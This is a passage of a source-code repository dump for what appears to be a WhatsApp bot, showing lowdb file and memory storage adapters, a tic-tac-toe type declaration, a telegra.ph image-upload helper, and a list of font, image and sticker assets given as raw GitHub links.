this.data = null; 4 | } 5 | read() { 6 | return this.data || null; 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | } 11 | } 12 | module.exports = { MemorySync }; 13 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/TextFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class TextFile implements Adapter { 3 | private filename; 4 | private writer; 5 | constructor(filename: string); 6 | read(): Promise; 7 | write(str: string): Promise; 8 | } 9 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/TextFile.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const { Writer } = require('steno'); 3 | class TextFile { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.writer = new Writer(filename); 7 | } 8 | async read() { 9 | let data; 10 | try { 11 | data = await fs.promises.readFile(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | return this.writer.write(str); 23 | } 24 | } 25 | module.exports = { TextFile }; -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/TextFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class TextFileSync implements SyncAdapter { 3 | private tempFilename; 4 | private filename; 5 | constructor(filename: string); 6 | read(): string | null; 7 | write(str: string): void; 8 | } 9 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/TextFileSync.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | class TextFileSync { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.tempFilename = path.join(path.dirname(filename), `.${path.basename(filename)}.tmp`); 7 | } 8 | read() { 9 | let data; 10 | try { 11 | data = fs.readFileSync(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | fs.writeFileSync(this.tempFilename, str); 23 | fs.renameSync(this.tempFilename, this.filename); 24 | } 25 | } 26 | module.exports = { TextFileSync }; 27 | -------------------------------------------------------------------------------- /system/lib/lowdb/index.d.ts: -------------------------------------------------------------------------------- 1 | export * from './adapters/JSONFile.js'; 2 | export * from './adapters/JSONFileSync.js'; 3 | export * from './adapters/LocalStorage.js'; 4 | export * from './adapters/Memory.js'; 5 | export * from './adapters/MemorySync.js'; 6 | export * from './adapters/TextFile.js'; 7 | export * from './adapters/TextFileSync.js'; 8 | export * from './Low.js'; 9 | export * from './LowSync.js'; 10 | -------------------------------------------------------------------------------- /system/lib/lowdb/index.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | ...require('./adapters/JSONFile.js'), 3 | ...require('./adapters/JSONFileSync.js'), 4 | ...require('./adapters/LocalStorage.js'), 5 | ...require('./adapters/Memory.js'), 6 | ...require('./adapters/MemorySync.js'), 7 | ...require('./adapters/TextFile.js'), 8 | ...require('./adapters/TextFileSync.js'), 9 | ...require('./Low.js'), 10 | ...require('./LowSync.js'), 11 | } -------------------------------------------------------------------------------- /system/lib/tictactoe.d.ts: -------------------------------------------------------------------------------- 1 | export declare class TicTacToe { 2 | /* X PlayerName */ 3 | playerX: string; 4 | /* Y PlayerName */ 5 | playerY: string; 6 | /* X if true, Y if false */ 7 | _currentTurn: boolean; 8 | _x: number; 9 | _y: number; 10 | _turns: number; 11 | constructor(playerX: string, playerY: string); 12 | get board(): number; 13 | turn(player, index: number): boolean; 14 | turn(player, x: number, y: number): boolean; 15 | } 16 | -------------------------------------------------------------------------------- /system/lib/uploadImage.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | const { fromBuffer } = require('file-type') 4 | 5 | /** 6 | * Upload image to telegra.ph 7 | * Supported mimetype: 8 | * - `image/jpeg` 9 | * - `image/jpg` 10 | * - `image/png`s 11 | * @param {Buffer} buffer Image Buffer 12 | */ 13 | module.exports = async buffer => { 14 | const { ext } = await fromBuffer(buffer) 15 | let form = new FormData 16 | form.append('file', buffer, 'tmp.' + ext) 17 | let res = await fetch('https://telegra.ph/upload', { 18 | method: 'POST', 19 | body: form 20 | }) 21 | let img = await res.json() 22 | if (img.error) throw img.error 23 | return 'https://telegra.ph' + img[0].src 24 | } 25 | 26 | -------------------------------------------------------------------------------- /system/src/Aesthetic/Aesthetic_000.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/Aesthetic/Aesthetic_000.jpeg -------------------------------------------------------------------------------- /system/src/Aesthetic/Aesthetic_001.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/Aesthetic/Aesthetic_001.jpg -------------------------------------------------------------------------------- /system/src/Aesthetic/Aesthetic_002.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/Aesthetic/Aesthetic_002.jpg -------------------------------------------------------------------------------- /system/src/avatar_contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/avatar_contact.png -------------------------------------------------------------------------------- /system/src/error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/error.png -------------------------------------------------------------------------------- /system/src/font/Futura Bold Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Bold Italic font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Bold font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Bold font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Book Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Book Italic font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Book font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Book font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Extra Black font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Extra Black font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Heavy Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Heavy Italic font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Heavy font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Heavy font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Light Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Light Italic font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Light font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Light font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura Medium Italic font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura Medium Italic font.ttf -------------------------------------------------------------------------------- /system/src/font/Futura XBlk BT.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura XBlk BT.ttf -------------------------------------------------------------------------------- /system/src/font/Futura-CondensedLight.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Futura-CondensedLight.otf -------------------------------------------------------------------------------- /system/src/font/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Black.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Bold.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Italic.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Light.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Medium.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Regular.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-Thin.ttf -------------------------------------------------------------------------------- /system/src/font/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /system/src/font/Zahraaa.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/Zahraaa.ttf -------------------------------------------------------------------------------- /system/src/font/font-gue.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/font-gue.ttf -------------------------------------------------------------------------------- /system/src/font/futur.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/futur.ttf -------------------------------------------------------------------------------- /system/src/font/futura light bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/futura light bt.ttf -------------------------------------------------------------------------------- /system/src/font/futura medium bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/futura medium bt.ttf -------------------------------------------------------------------------------- /system/src/font/futura medium condensed bt.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/font/futura medium condensed bt.ttf -------------------------------------------------------------------------------- /system/src/kertas/magernulis1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/src/kertas/magernulis1.jpg -------------------------------------------------------------------------------- /system/sticker/Diam.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Diam.webp -------------------------------------------------------------------------------- /system/sticker/Dongo.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Dongo.webp -------------------------------------------------------------------------------- /system/sticker/Enggak.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Enggak.webp -------------------------------------------------------------------------------- /system/sticker/Gamau.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Gamau.webp -------------------------------------------------------------------------------- /system/sticker/Ikutan.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Ikutan.webp -------------------------------------------------------------------------------- /system/sticker/Mintakick.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Mintakick.webp -------------------------------------------------------------------------------- /system/sticker/Sante.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Sante.webp -------------------------------------------------------------------------------- /system/sticker/Sesat.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/Sesat.webp -------------------------------------------------------------------------------- /system/sticker/error.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/error.webp -------------------------------------------------------------------------------- /system/sticker/layla.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/sticker/layla.webp --------------------------------------------------------------------------------